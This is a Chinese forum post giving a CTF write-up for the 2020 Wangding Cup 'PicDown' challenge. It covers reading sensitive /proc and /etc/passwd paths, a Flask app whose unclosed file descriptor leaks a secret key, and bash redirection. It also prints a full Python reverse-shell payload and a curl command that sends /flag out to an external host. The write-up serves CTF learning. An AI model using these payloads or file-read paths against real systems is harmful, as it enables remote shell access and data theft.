[网鼎杯 2020 白虎组]PicDown1 [反弹shell] [敏感文件路径] [文件形貌符] [bash重定向]

[复制链接]
发表于 2025-10-9 21:25:02 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
 常见读取路径

攻防天下33 catcat-new【文件包罗/flask_session伪造】_攻防天下 catcat-new-CSDN博客
这道题也有
   /etc/passwd=====一些用户和权限尚有一些七零八落的
  /proc/self/cmdline=====包罗用于开始当进步程的下令
  /proc/self/cwd/app.py======当前工作目次的app.py   
  /proc/self/environ=====包罗了可用历程的环境变量
  /proc/pid/exe =====包罗了正在历程中运行的步伐链接;
/proc/pid/fd/ =====这个目次包罗了历程打开的每一个文件的链接;
/proc/pid/mem =====包罗了历程在内存中的内容;
/proc/pid/stat =====包罗了历程的状态信息;
/proc/pid/statm =====包罗了历程的内存使用信息。
  非预期解:url=/flag 出flag
网站功能: 

  1. <html>
  2. <meta http-equiv="refresh" content="0;url=http://www.baidu.com/">
  3. </html>
  4. 网站功能:刷新界面并跳转到百度
复制代码
 读取passwd
 读取环境变量
  1. /proc/self/environ
  2. self位置为PID:代表进程 ID(Process ID),是系统为每个正在运行的进程分配的唯一标识符
  3. 若一个进程的 ID 是 1234,那么该进程的相关信息就存储在 /proc/1234 目录下
复制代码

环境变量内里的 PWD=/app  这里告诉我们这是在/app目次下举行的
   该环境变量表现 当前工作目次(Present Working Directory),即历程所在的文件体系路径。
  

  • /app 是当进步程的根目次或应用步伐的主目次(常见于容器化环境,如 Docker)。
  • 当用户在终端中实验下令时,默认操纵路径即 PWD 的值。
   读取启动当进步程的完备下令
  1. /proc/self/cmdline
复制代码

读取app.py文件:
  1. /proc/self/cwd/app.py
  2. cwd 代表 “Current Working Directory”(当前工作目录)
复制代码
  1. from flask import Flask, Response
  2. from flask import render_template
  3. from flask import request
  4. import os
  5. import urllib
  6. app = Flask(__name__)
  7. SECRET_FILE = "/tmp/secret.txt"
  8. f = open(SECRET_FILE)
  9. SECRET_KEY = f.read().strip()
  10. os.remove(SECRET_FILE)
  11. @app.route('/')
  12. def index():
  13.     return render_template('search.html')
  14. @app.route('/page')
  15. def page():
  16.     url = request.args.get("url")
  17.     try:
  18.         if not url.lower().startswith("file"):
  19.             res = urllib.urlopen(url)
  20.             value = res.read()
  21.             response = Response(value, mimetype='application/octet-stream')
  22.             response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
  23.             return response
  24.         else:
  25.             value = "HACK ERROR!"
  26.     except:
  27.         value = "SOMETHING WRONG!"
  28.     return render_template('search.html', res=value)
  29. @app.route('/no_one_know_the_manager')
  30. def manager():
  31.     key = request.args.get("key")
  32.     print(SECRET_KEY)
  33.     if key == SECRET_KEY:
  34.         shell = request.args.get("shell")
  35.         os.system(shell)
  36.         res = "ok"
  37.     else:
  38.         res = "Wrong Key!"
  39.     return res
  40. if __name__ == '__main__':
  41.     app.run(host='0.0.0.0', port=8080)
复制代码
增补一点urllib的知识

python2中urllib的urlopen可以直接通过文件路径读取文件
毛病所在处

  1. SECRET_FILE = "/tmp/secret.txt"
  2. f = open(SECRET_FILE)
  3. SECRET_KEY = f.read().strip()
  4. os.remove(SECRET_FILE)
  5. 文件描述符未关闭:代码打开文件后未显式关闭,导致文件描述符在os.remove()时可能仍处于打开状态。
  6. 已删除文件的可读性:在Unix系统中,若文件被删除但有进程仍持有其文件描述符,可通过/proc访问该描述符读取内容。
  7. 正常情况下应该是用f.close()
  8. 或者用with语句自动实现文件描述符的关闭
  9. 如:
  10. with open(SECRET_FILE) as f:
  11.     SECRET_KEY = f.read().strip()
  12. os.remove(SECRET_FILE)  # 确保在文件关闭后删除
复制代码
关于文件形貌符

文件形貌符是什么:

文件形貌符(File Descriptor)是操纵体系分配给已打开文件的“暂时编号”(雷同你去银行服务时拿到的列队号码)。步伐通过这个编号操纵文件(读/写)。
 linux启动后,会默认打开3个文件形貌符,分别是:
  1.         标准输入: standard input    //0
  2.            正确输出: standard output   //1
  3.            错误输出: error output      //2
复制代码
  注意:
1.以后再打开文件,形貌符可以依次增长
2.一条shell下令,都会继续其父历程的文件形貌符,因此全部的shell下令,都会默认有三个文件形貌符。
  
  文件全部 输入输出 都是由该历程全部 打开的 文件形貌符 控制的
(Linux统统皆文件,就连键盘表现器装备都是文件,因此他们的输入输出也是由文件形貌符控制) 
  文件形貌符未关闭会发生什么:

当一个步伐(如 Python 脚本)打开了一个文件(如 open("/tmp/secret.txt")),但未显式调用 f.close() 或未使用 with 语句主动关闭文件时,操纵体系会以为该文件仍被占用(仍然在使用中)。此时,纵然代码中调用了 os.remove(SECRET_FILE) 删除了文件,实际文件内容仍大概通过未关闭的文件形貌符被读取到(其内容仍会残留在磁盘上)。
我们可以通过访问/proc/self/fd/<文件形貌符>来访问某个特定的文件
怎么获取这次的文件形貌符:

。。。罗列
获取key
  1. /proc/self/fd/3
  2. fd为文件描述符(file descriptors)
复制代码
关于下令的重定向

[CTF]-反弹shell[1]_反弹shell ctf-CSDN博客
针对文件形貌符的操纵
  1. 输入重定向<  <<
  2. 输出重定向>  >>
  3. 标准输入符 0
  4. 正确输出 1
  5. 错误输出 2
复制代码
输入重定向 

   file文件中存在内容
‘hello world’
  1. [n]< word 表示以只读方式打开,默认为0
  2. 注意[n]和 < 之间没有空格
  3. root@kali:~# cat 0< file
  4. hello world
  5. root@kali:~# cat < file
  6. hello world
  7. root@kali:~# 0< file cat
  8. hello world
  9. root@kali:~# < file cat
  10. hello world
复制代码
 0是尺度输入,将尺度输入重定向到file,当cat要读取指令的时间,要从输入内里读取指令,此时就会在尺度输入也就是file内里读取内容
也就是说,0< 告诉盘算机不要从键盘里得到输入而是要从file内里得到输入
  1. [n]> word 表示以写的方式打开,默认为1
  2. root@kali:~# echo hello > file
  3. root@kali:~# cat file
  4. hello
  5. root@kali:~# echo world 1> file
  6. root@kali:~# cat file
  7. world
  8. root@kali:~# > file echo hello
  9. root@kali:~# cat file
  10. hello
  11. root@kali:~# > file echo world
  12. root@kali:~# cat file
  13. world
复制代码

 输入key并实验下令,但是没有回显,此时思量到反弹shell
第一种解法:python反弹shell

注意:这里的key和shell必要颠末url编码!由于key中会存在+/=等符号,必要编码后才行

编码前
  1. /no_one_know_the_manager?key=5MMmHXw5q5FzvNFORsDKnImPBRHbcZ9MlLNHIviypt0=
  2. &shell=python -c
  3. 'import socket,subprocess,os;
  4. s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
  5. s.connect(("xxxxxxxxx",8888));
  6. os.dup2(s.fileno(),0);
  7. os.dup2(s.fileno(),1);
  8. os.dup2(s.fileno(),2);
  9. p=subprocess.call(["/bin/sh","-i"]);'
复制代码
编码后 
  1. /no_one_know_the_manager?key=5MMmHXw5q5FzvNFORsDKnImPBRHbcZ9MlLNHIviypt0%3D
  2. &shell=python%20%2Dc%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22xx%2Exxx%2Exxx%2Exx%22%2C8888%29%29%3Bos%2Edup2%28s%2Efileno%28%29%2C0%29%3B%20os%2Edup2%28s%2Efileno%28%29%2C1%29%3B%20os%2Edup2%28s%2Efileno%28%29%2C2%29%3Bp%3Dsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%29%3B%27
复制代码
腾讯云服务器的一些题目

第一次整服务器碰到一些困扰我的题目,浅写一下这次是怎么办理的:
题目一:端口是4567大概3333在bp中发送哀求的时间不绝不可,半天没回应
换成8888,我也不知道为啥我这只有8888能乐成。。。显着其他端口的防火墙都放开了。。
题目二:如图,是困扰我最久的一个

8888端口已经被占用了,一查还是宝塔面板占用的,你要是把它kill掉吧,你的宝塔面板一转头又有新的历程了,怎么杀都杀不死
 杀不死咱就绕过嘛嘿嘿,宝塔面板默认端口是8888,把它改成其他的

然后8888就能正常监听啦 
题目三:怎么竣事监听
偶然间摁了个 control+C 然后自己竣事了。。?
踏马的,终于反弹出来了,终于看到这个Connection received了。遥想当年轻龙组那道note题反弹了一个星期都没反弹个p出来,冲动的要掉小珍珠了 

第二种解法:curl反弹shell

注意还是要编码 还要base64编码输出,不编码就输出不出来(为啥)
  1. /no_one_know_the_manager?key=5MMmHXw5q5FzvNFORsDKnImPBRHbcZ9MlLNHIviypt0%3D&shell=curl%20xxxx:8888/`cat%20/flag|base64`
  2. 命令自己改
复制代码

本题总结: 

 


回复

使用道具 举报

登录后关闭弹窗

登录参与点评抽奖  加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表